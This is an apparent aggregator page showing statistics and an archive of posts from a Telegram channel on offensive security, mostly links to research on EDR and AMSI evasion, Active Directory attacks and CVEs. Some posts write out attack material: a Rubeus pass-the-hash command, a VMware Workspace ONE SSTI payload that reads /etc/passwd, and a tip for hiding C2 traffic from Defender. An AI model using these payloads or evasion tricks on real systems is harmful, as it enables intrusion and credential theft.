APT
Open in Telegram
This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat
Show more📈 Analytical overview of Telegram channel APT
Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 16 249 subscribers, ranking 7 769 in the Technologies & Applications category and 40 381 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 16 249 subscribers.
According to the latest data from 30 August, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 549 over the last 30 days and by 10 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 39.89%. Within the first 24 hours after publication, content typically collects 18.07% reactions from the total number of subscribers.
- Post reach: On average, each post receives 6 477 views. Within the first day, a publication typically gains 2 934 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 26.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses:
— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc
Disclaimer:
t.me/APT_Notes/6
Chat Link:
t.me/APT_Notes_PublicChat”
Thanks to the high frequency of updates (latest data received on 31 August, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
16 249
Subscribers
+1024 hours
+957 days
+54930 days
Posts Archive
16 249
A blueprint for evading industry leading endpoint protection in 2022
In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can:
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
#av #edr #evasion #research
16 249
In-Process Patchless AMSI Bypass
https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/
#amsi #bypass #av #evasion
16 249
Repost from 1N73LL1G3NC3
CVE-2022-29072
7-Zip 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area (0-day)
https://github.com/kagancapar/CVE-2022-29072
16 249
ShadowMove Pivot Technique
ShadowMove is a novel technique to hijack sockets from non-cooperative processes. It is described in the paper ShadowMove: A Stealthy Lateral Movement Strategy presented at USENIX ‘20. This technique takes advantage of the fact that AFD (Ancillary Function Driver) file handles are treated as socket handles by Windows APIs, so it is possible to duplicate them with
WSADuplicateSocket().
https://adepts.of0x.cc/shadowmove-hijack-socket/
#shadowmove #hijacking #socket #redteam16 249
Pass-the-Hash in 1C Enterprise
To gain access to 1C Enterprise, you need a username and password. In case 1C works with LDAP authentication and you only have the user's NTLM hash, you can use Rubeus to launch 1C using the Pass-the-Hash attack. Thus, you can access 1C Enterprise without having a password in the plaintext.
Invoke-Rubeus -Command "asktgt /user:i.ivanov /domain:APTNOTES.LOCAL /rc4:A87F3A337D73085C45F9416BE5787D86 /createnetonly:C:\1cestart.exe /show"Bonus: If the compromised user has permissions to run "External data processors", you can get a reverse shell of the 1C server. https://github.com/KraudSecurity/1C-Exploit-Kit/tree/master/1C-Shell #1c #pth #rubeus #ad
16 249
Red Teaming Toolkit
A collection of open source and commercial tools that aid in red team operations. This post will help you during red team engagement.
Contents
— Reconnaissance
— Weaponization
— Delivery
— Command and Control
— Lateral Movement
— Establish Foothold
— Escalate Privileges
— Data Exfiltration
— Misc
— References
https://renatoborbolla.medium.com/red-teaming-adversary-simulation-toolkit-da89b20cb5ea
#redteam #toolkit #powershell #c2
16 249
Microsoft Sharepoint RCE (CVE-2022-22005)
https://hnd3884.github.io/posts/cve-2022-22005-microsoft-sharepoint-RCE/
#sharepoint #rce #cve #research
16 249
SID filter as security boundary between domains?
Microsoft states that "the forest (not the domain) is the security boundary in an Active Directory implementation", meaning that Domain Admins of a child domain is essentially as privileged as Enterprise Admins in a root domain and will have administrative rights in all domains of the forest. Why? We guessed that the default trust between domains inside a forest enables any child domain to trick the root domain to treat child domain users as Enterprise Admins by abusing the SID history (ExtraSids) functionality – this attack/technique is known as "Access Token Manipulation: SID-History Injection" and is explained in a later part of this series.
Kerberos authentication explained (Part 1)
Known AD attacks - from child to parent (Part 2)
SID filtering explained (Part 3)
Bypass SID filtering research (Part 4)
Golden GMSA trust attack - from child to parent (Part 5)
Schema change trust attack - from child to parent (Part 6)
Trust account attack - from trusting to trusted (Part 7)
#ad #trust #kerberus #research
16 249
Red Team Tips
To get rid of Microsoft Defender "behaviour based" amsi detection in case of opening a https C2 channel, it can help, to play with the parameter UserAgent. For example, try a Windows Update User Agent.
#redteam #tips #defender #bypass
16 249
Critical Remote Code Execution Vulnerabilities in Windows RPC Runtime (CVE-2022-26809)
https://www.akamai.com/blog/security/critical-remote-code-execution-vulnerabilities-windows-rpc-runtime
#windows #rpc #rce #research
16 249
Coercing NTLM Authentication from SCCM
https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
#ad #ntlm #sccm
16 249
VMware Workspace ONE — SSTI (CVE-2022-22954)
Successful exploitation could lead to RCE from an unauthenticated user.
Payload:
https://victim/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
#vmware #workspace #ssti #cve16 249
AppRecoveryCallback Inject
Overwrite a process's recovery callback and invoke a crash to execute
https://github.com/Wra7h/ARCInject
#av #edr #evasion #inject #csharp
16 249
How NAT traversal works
This blog post about NAT and NAT traversal is truly awesome!
https://tailscale.com/blog/how-nat-traversal-works/
#howto #nat #blog
16 249
Remotely Dumping Chrome Cookies
The method in this blog post does not require the remote debugger or Keychain (macOS)/DPAPI (Windows) access and applies to Chromium-based browsers in general
https://cedowens.medium.com/remotely-dumping-chrome-cookies-revisited-b25343257209
#chrome #cookie #dump #blog
16 249
Rockyou for Web Fuzzing
This is a wordlist for fuzzing purposes made from the best wordlists currently available, lowercased and deduplicated later with duplicut, added cleaner from BonJarber.
The lists used have been some selected within these repositories:
— fuzzdb — SecLists — xmendez — minimaxir — TheRook — danielmiessler — swisskyrepo — 1N3 — cujanovic — lavalamp — ics-default — jeanphorn — j3ers3 — nyxxxie — dirbuster — dotdotpwn — hackerone_wordlist — commonspeak2 — bruteforce-list — assetnotehttps://github.com/six2dez/OneListForAll #web #fuzzing #wordlist
16 249
Unmanaged Code Execution with .NET Dynamic PInvoke
https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/
#edr #evasion #pinvoke #csharp #blog
16 249
Spring4Shell Scan
A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities
Features:
— Support for lists of URLs.
— Fuzzing for more than 10 new Spring4Shell payloads (previously seen tools uses only 1-2 variants).
— Fuzzing for HTTP GET and POST methods.
— Automatic validation of the vulnerability upon discovery.
— Randomized and non-intrusive payloads.
— WAF Bypass payloads.
https://github.com/fullhunt/spring4shell-scan
#spring4shell #spring #scan #tools
16 249
[Blog] Unmanaged Code Execution with .NET Dynamic PInvoke
https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/
#edr #evasion #pinvoke #csharp
16 249
The Bug Hunter Methodology
PDF:
https://www.ceos3c.com/wp-content/uploads/2020/06/Bug-Hunter-Methodology-V4-Visualization.pdf
#bugbounty #methodology #xmind
